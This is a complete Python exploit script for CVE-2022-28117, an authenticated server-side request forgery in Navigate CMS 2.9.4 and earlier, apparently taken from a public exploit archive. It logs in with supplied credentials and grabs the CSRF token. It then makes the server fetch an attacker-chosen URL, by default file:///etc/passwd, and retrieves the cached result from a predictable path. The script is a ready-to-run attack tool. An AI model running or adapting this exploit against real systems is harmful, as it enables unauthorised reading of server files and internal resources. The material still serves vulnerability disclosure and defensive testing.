Navigate CMS 2.9.4 Server-Side Request Forgery

`#!/usr/bin/env python3  
# Exploit Title: Navigate CMS 2.9.4 - Server-Side Request Forgery (SSRF) (Authenticated)  
# Exploit Author: cheshireca7  
# Vendor Homepage: https://www.navigatecms.com/  
# Software Link: https://sourceforge.net/projects/navigatecms/files/releases/navigate-2.9.4r1561.zip/download  
# Version: 2.9.4 and earlier  
# Tested on: Ubuntu 20.04  
# CVE: CVE-2022-28117  
#  
# -*- coding: utf-8 -*-  
  
import requests as r, signal  
from emoji import emojize  
from argparse import ArgumentParser  
from sys import exit  
from requests_toolbelt.multipart.encoder import MultipartEncoder  
from hashlib import md5  
from time import sleep  
from base64 import b64decode,b64encode  
from colorama import Fore, Style  
  
#proxies = {'http':'http://127.0.0.1:8080'}  
  
def handler(signum, frame):  
print("["+Fore.YELLOW+"!"+Style.RESET_ALL+"] "+emojize(b64decode("T2gsIHlvdSBjYW7igJl0IGhlbHAgdGhhdCwgd2UncmUgYWxsIG1hZCBoZXJlIC4uLiA6cGF3X3ByaW50czoK").decode('UTF-8')))  
exit()  
  
def login():  
print("["+Fore.BLUE+"*"+Style.RESET_ALL+f"] Trying to authenticate as {args.username} ...")  
sleep(1)  
  
try:  
# Grabbing CSRF Token  
s = r.Session()  
resp = s.get(f"{args.target}/login.php")#, proxies=proxies)  
csrf_token = resp.headers['X-Csrf-Token']  
  
# Performing login  
data = MultipartEncoder(fields={'login-username':f"{args.username}",'csrf_token':f"{csrf_token}",'login-password':f"{args.password}"})  
headers = {'Content-Type':data.content_type}  
resp = s.post(f"{args.target}/login.php", data=data, headers=headers, allow_redirects=False)#, proxies=proxies)  
except:  
print("["+Fore.RED+"!"+Style.RESET_ALL+"] Something went wrong performing log in")  
exit(-1)  
if resp.status_code == 302:  
print("["+Fore.GREEN+"+"+Style.RESET_ALL+"] Login successful!")  
for cookie in resp.cookies:  
if "NVSID" in cookie.name:  
return (resp.headers['X-Csrf-Token'],f"{cookie.name}={cookie.value}")  
else:  
print("["+Fore.RED+"!"+Style.RESET_ALL+f"] Incorrect {args.username}'s credentials")  
exit(-1)  
  
def exploit(values):  
print("["+Fore.BLUE+"*"+Style.RESET_ALL+"] Performing SSRF ...")  
sleep(1)  
  
# Abusing cache feature to retrieve response   
data = {'limit':'5','language':'en','url':f'{args.payload}'}  
headers = {'X-Csrf-Token':values[0]}  
cookies = {values[1].split('=')[0]:values[1].split('=')[1]}  
resp = r.post(f"{args.target}/navigate.php?fid=dashboard&act=json&oper=feed", cookies=cookies, headers=headers, data=data)#, proxies=proxies)  
  
# Retrieving the file with response from static route  
md5File = md5(f"{args.payload}".encode('UTF-8')).hexdigest()  
resp = r.get(f"{args.target}/private/1/cache/{md5File}.feed",cookies=cookies)#,proxies=proxies)  
if len(resp.text) > 0:  
print("["+Fore.GREEN+"+"+Style.RESET_ALL+"] Dumping content ...")  
sleep(1)  
print(f"\n{resp.text}")  
exit(0)  
else:  
print("["+Fore.RED+"!"+Style.RESET_ALL+"] No response received")  
exit(-1)  
  
if __name__ == '__main__':  
  
# Define parameters   
signal.signal(signal.SIGINT, handler)  
parser = ArgumentParser(description='CVE-2022-28117: Navigate CMS <= 2.9.4 - Server-Side Request Forgery (Authenticated)')  
parser.add_argument('-x', '--payload',default='file:///etc/passwd', help='URL to be requested (default=file:///etc/passwd)')  
parser.add_argument('-u','--username', default='admin', help='Username to log in the CMS (default=admin)')  
parser.add_argument('-p','--password', required=True, help='Password to log in the CMS')  
parser.add_argument('target', help='URL where the CMS is hosted. Ex: http://example.com[:80]/navigate')  
args = parser.parse_args()  
  
exploit(login())  
  
`